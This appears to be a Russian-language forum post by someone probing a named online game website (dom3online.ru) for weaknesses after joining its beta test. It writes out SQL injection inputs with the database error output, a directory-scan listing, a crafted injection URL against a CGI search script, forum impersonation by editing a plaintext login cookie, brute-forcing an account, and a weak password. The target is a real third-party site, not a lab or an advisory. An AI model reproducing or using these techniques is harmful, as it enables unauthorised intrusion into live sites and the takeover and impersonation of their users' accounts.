кинули мне на это чудо ссылочку.. и решил я приколоться отправить резюме на бетатестирование.. прошло неделя =) седня на ящик скидывают - Да ! я прямо сщастлиф! эта фраза убила больше всего )
исправил на оригинал =) постебусь там жесть.. присоединяйтесь ) ЗЫ на сайте оффициальном в куках логин+пас в плэйнтектсе..
Нус начнем! =) В поиске: sql-injection - ' Code: Error: 1064 .... You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND 1=1 ORDER BY `rating` DESC LIMIT 0,10' at line 1 ' union select 1,2,3/*
Вот на всякий случай что выдал мне www.dom3online.ru/ www.dom3online.ru/cgi-bin/ 403 - Forbidden www.dom3online.ru/admin/ 401 - Authorization Required www.dom3online.ru/login.php/ www.dom3online.ru/error_log/ 200 - OK www.dom3online.ru/forum/ 200 - OK www.dom3online.ru/img/ 200 - OK www.dom3online.ru/error/ www.dom3online.ru/errors/ 200 - OK www.dom3online.ru/news/ 403 - Forbidden www.dom3online.ru/search/ 200 - OK www.dom3online.ru/login/ www.dom3online.ru/logins/ 200 - OK www.dom3online.ru/1/ 403 - Forbidden
что это может быть ) значит подобрал пароль к акку методом ручного брута )) потратил 3 секунды ) значит когда в анкете в поле о себе вводишь ' то после сохранения в этом поле появляеться ', about = ' что это может быть )
Пишем на форуме от любого ника =) Меняем в cookies login и пишем от него на форуме. Более халявной проверки я еще не видел =))
_http://www.dom3online.ru/cgi-bin/dating.pl?action=search2&mode=html&n1=%27&n2=%27&v1=%27&v2=%27&s1=%27&s2=%27&r1=%27&r2=%27&z=%CA%EE%E7%E5%F0%EE%E3&h=%D7%E5%F0%ED%FB%E9&po=%C6%E5%ED%F1%EA%E8%E9&e=%D1%E5%F0%FB%E5&s=%E5%F1%F2%FC+%EA%F2%EE-%F2%EE+%E8+%F5%EE%F7%F3+%E5%F9%E5&d=%C5%F1%F2%FC&o=%CD%E5%F2&or=' скуль налицо.. Error: 1064 .... You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Женский' AND 1=1 ORDER BY `rating` DESC LIMIT 0,10' at line 1 ломает копаться, на практику с утра.. /me в ирц хочет!!!! зы. логин и пасс 123